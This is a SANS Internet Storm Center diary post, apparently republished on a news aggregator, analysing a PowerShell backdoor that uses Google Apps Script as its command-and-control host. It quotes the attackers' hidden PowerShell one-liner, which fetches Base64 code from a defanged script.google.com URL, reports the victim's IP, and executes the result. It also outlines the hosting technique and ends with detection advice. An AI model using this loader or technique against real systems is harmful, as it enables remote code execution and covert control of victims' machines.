[SANS ISC] Malicious PowerShell Hosted on script.google.com, (Fri, May 28th)

Google has an incredible portfolio of services. Besides the classic ones, there are less known services and… they could be very useful for attackers too. One of them is Google Apps Script[1]. Google describes it like this:

“Apps Script is a rapid application development platform that makes it fast and easy to create business applications that integrate with G Suite.”

Just a quick introduction to this development platform to give you an idea about the capabilities. If, as the description says, it is used to extend the G Suite, it can of course perform basic actions like… hosting and delivering some (malicious) content.

First, let’s create an HTML file:

Then, edit “Code.gs” and create a doGet() function:

Save the project and you are ready to deploy it (it’s important to select the right access: Anyone):

Once the deployment successfully completed, you’ve now an URL that you can use to access your code:

That’s the technique used by the attackers in the sample that I found. The first stage was a simple PowerShell one-liner:

powershell.exe -nop -w hidden -c “Invoke-Expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(‘hxxps://script[.]google[.]com/macros/s/AKfycbycf3i4YzhGtrLtW_ttACPfln3wLBM4jHtVsBheL6lAsPGt2D-nbTN_Y-NeUDYE50Y/exec?se=1&ip=’+(New-Object System.Net.WebClient).DownloadString(‘hxxp://api[.]ipify[.]org/’)))))”

You can see that the Google Script expects two parameters: ‘se’ and ‘ip’. The IP is the public IP address of the victim (collected by visiting api.ipify.org). When the script is called, it returns a chunk of Base64 data decoded and interpreted by PowerShell. It’s a simple backdoor that communicates with the C2 hosted on scripts.google.com. It supports the following commands:


I uploaded the script[2] if you are interested. If you don’t use Google Apps Script, any activity related to this FQDN could reveal some malicious activity!

[1] https://www.google.com/script/start/
[2] https://bazaar.abuse.ch/sample/cf8755956735075fe3a8e37d117500f459b2c8ce97dd759c5d3334223c84d582/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Source: Read More (SANS Internet Storm Center, InfoCON: green)

You might be interested in …

[SecurityWeek] Firefox 90 Adds Cross-Origin Protections, Advanced Tracker Blocker

All posts, Security Week

Mozilla this week pushed Firefox 90 to the stable channel with several security improvements, including better protections against cross-origin threats and an advanced tracker blocking mechanism. read more Source: Read More (SecurityWeek RSS Feed)

Read More

[ZDNet] New Go malware Capoae targets WordPress installs, Linux systems

All posts, ZDNet

Capoae highlights the increase of cyberattacks designed to deploy cryptocurrency-mining payloads. Source: Read More (Latest topics for ZDNet in Security)

Read More

[BleepingComputer] Windows 365 – Microsoft’s new virtualized Cloud PC service

Microsoft has unveiled their greatly anticipated cloud-based Windows 365 service – a virtualized desktop service allowing businesses to deploy and stream Cloud PCs from Azure. […] Source: Read More (BleepingComputer)

Read More

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.